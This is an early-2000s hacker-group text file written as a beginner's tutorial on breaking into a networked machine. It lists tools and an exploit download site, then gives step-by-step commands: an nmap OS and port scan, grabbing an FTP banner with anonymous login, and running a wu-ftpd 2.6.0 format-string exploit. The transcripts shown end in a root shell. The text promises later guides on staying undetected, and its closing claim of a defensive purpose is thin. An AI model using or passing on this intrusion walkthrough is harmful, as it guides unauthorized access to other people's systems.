```
                          .**********.
--------------------------=[ ACME CREW ]=--------------------------
                          ^**********^
```

Cracking Howto 1 (by kgb_kid)
****

Ok, boys and girls... this doc will hopefuly give you some idea how crackers out there break into your network. This is very basic text and more advanced text will come later. Its easier to explain from crackers perspective, so thats the way i'll do it. The following steps are usualy taken by clueless crackers who dont know much about anything, but they are the ones that do the most dammage... so here it goes...

Things you need

A shell account of some kind. Usualy people jsut install Linux in our days, but normal shell account will do. Just make sure you can run basic programs like: nslookup, host, dig, ping, traceroute, telnet, ssh, ftp etc. Also make sure it has GCC installed and other dev tools, so you could compile stuff. Also helps having tools like NMAP and NetCat. Last thing you need is exploits.

* Shell account is similar to your DOS shell, except it has different commands and functions. Where you could get one? Your friend who has Linux or something installed could give you a log on to his box or maybe your ISP provides you with a shell (i doubt that very much)

* Linux is an operating system that most hackers/crackers use

* NMAP is an advanced port-scanner

* NetCat is a telnet like proggy which allows you to stream data to specific host

* Exploits different programs, writen mainly in C, which do all the work for you. Exploits are the progs that break into computer for you. Where to find them? Well thats easy! http://www.hack.co.za

Weeellll... all the things above is all you need to brek into some network! Basicaly all u need is:

a) Linux (http://www.slackware.com)
b) Nmap (http://www.insecure.org)
c) NetCat (http://www.l0pht.com/~weld/netcat/)
d) Exploits (http://www.hack.co.za)

Steps
-----

a) Install Linux and bring it on line. I'm not gonna explain how to
do this here... cause there are lots of books on this topic already.
Look in http://kgb.za.net/books/ ask me for username and password if
you dont know it yet.

b) Install nmap.

```
 1) tar zxvf nmap.tar.gz
 2) cd nmap
 3) ./configure && make && make install
```

This is basic installation process.

c) Pick a target on line. Lets say your target is lame_box.za.net

d) Get its IP by doing "nslookup lame_box.za.net"
This will spit out the IP of the host... in our case it will be
196.1.2.3

e) See what services this host is running and hopefuly detect its
OS by doing:

"nmap -sS -O 196.1.2.3"

This command will give you output similar to the following:

```
---------------------------- cut here ----------------------------

root@kgb:~# nmap -sS -O 196.1.2.3

Starting nmap V. 2.54BETA22 ( www.insecure.org/nmap/ )
Interesting ports on lame_box.za.net (196.1.2.3):
(The 1531 ports scanned but not shown below are in state: closed)
Port       State       Service
21/tcp     open        ftp
25/tcp     open        smtp
80/tcp     open        http
111/tcp    open        sunrpc
113/tcp    open        auth
515/tcp    open        printer
963/tcp    open        unknown
1024/tcp   open        kdm
4444/tcp   filtered    krb524
6000/tcp   open        X11
6699/tcp   filtered    napster

OS guess for host: Linux 2.2.14-2.2.16

Uptime 0.160 days (since Mon Apr 30 14:51:06 2001)

Nmap run completed -- 1 IP address (1 host up) scanned in 67 seconds
root@kgb:~#

---------------------------- cut here ----------------------------
```

This is self explanatory... just shows open ports. You can see that its runing FTP daemon among lots of other things. We will be targeting this FTP daemon.

f) See what version of FTP daemon your target is running. You could just telnet to 21st port on that host of you could ftp to that host:

"telnet 196.1.2.3 21"
or
"ftp 196.1.2.3"

Both will spit out a banner showing the version of FTP daemon like the following:

---------------------------- cut here ----------------------------

```
root@kgb:~# ftp 196.1.2.3
Connected to 196.1.2.3.
220 lame_box.za.net FTP server (Version wu-2.6.0(1) Mon Mar 6 13:54:16 SAST 2000)
ready.
Name (lame_box:root): anonymous
331 Guest login ok, send your complete e-mail address as password.
Password:
230-Welcome, archive user!  This is an experimental FTP server.  If have any
230-unusual problems, please report them via e-mail to root@kgb.pandora.net
230-If you do have problems, please try using a dash (-) as the first character
230-of your password -- this will turn off the continuation messages that may
230-be confusing your ftp client.
230-
230 Guest login ok, access restrictions apply.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>by
root@kgb:~#
```

---------------------------- cut here ----------------------------

From the above you can see that we FTPd to 196.1.2.3 and that 196.1.2.3 is runing wu-2.6.0. We also tried loging in as "anonymous" and it was successfull too.

g) Get exploit for this version of FTPd. go to www.hack.co.za (daemon/ftp/ section) and get wuftpd2600.c exploit. View this exploit code and you'll see that its coded for spesific OSs one of which is Red Hat 6.2. Lets say that lame_box.za.net is runing Red Hat 6.2 to our luck :) Then just compile this exploit, run it against lame_box.za.net and it should give you root access (ie. full control of the system):

---------------------------- cut here ----------------------------

```
root@kgb:~/# ./wuftpd2600 -t -s 0 196.1.2.3
Target: 196.1.2.3 (ftp/<shellcode>): RedHat 6.2 (?) with wuftpd 2.6.0(1) from rpm
Return Address: 0x08075844, AddrRetAddr: 0xbfffb028, Shellcode: 152
```

```
loggin into system..
USER ftp
331 Guest login ok, send your complete e-mail address as password.
PASS <shellcode>
230-Next time please use your e-mail address as your password
230-        for example: joe@kgb.za.net
230 Guest login ok, access restrictions apply.
STEP 2 : Skipping, magic number already exists: [87,01:03,02:01,01:02,04]
STEP 3 : Checking if we can reach our return address by format string
STEP 4 : Ptr address test: 0xbfffb028 (if it is not 0xbfffb028 ^C me now)
STEP 5 : Sending code.. this will take about 10 seconds.
Press ^\ to leave shell
Linux lame_box.za.net 2.2.14-5.0 #1 Tue Mar 7 21:07:39 EST 2000 i686 unknown
uid=0(root) gid=0(root) egid=50(ftp) groups=50(ftp)

Bang! You have root!
---------------------------- cut here ----------------------------
```

Thats it... what you do from here is the matter of other how2s. You also might be asking what is NetCat for... well some exploits require it. Notice that above exploit used anonymous login, so if anonymous access was disabled there, it wouldnt work. Thats why we were checking for anonymous access at step f. If anon access was disabled, this exploit would only work if you had a login and password to ftp to the box... so you must read source to see how it works. Different exploits work differently and have different syntax. This was just one easy example, but basic prinsiple is the same.

Thats all it takes to break into a machine... Well that is if machine is not protected or something like that. In our case machine was totaly open on the internet hackable by anybody. There are a lot of machines out there like this. But also a lot of protected machines that are behind different firewalls and with different security mechanisms installed. Stealth coordinated attack techniques will be discussed in later documentation. Documentadion on how to remain undetected and various other tricks of the trade will be done later too.

PS. all the above explainations should give you general idea what crackers do to break into your network. Hopefuly you will use this information wisely to protect your network from intrusions.
Mail me for any questions you might have.

kgb_kid 10th of May 2001 07H37
----
email: kgb@kgb.za.net
site: http://kgb.za.net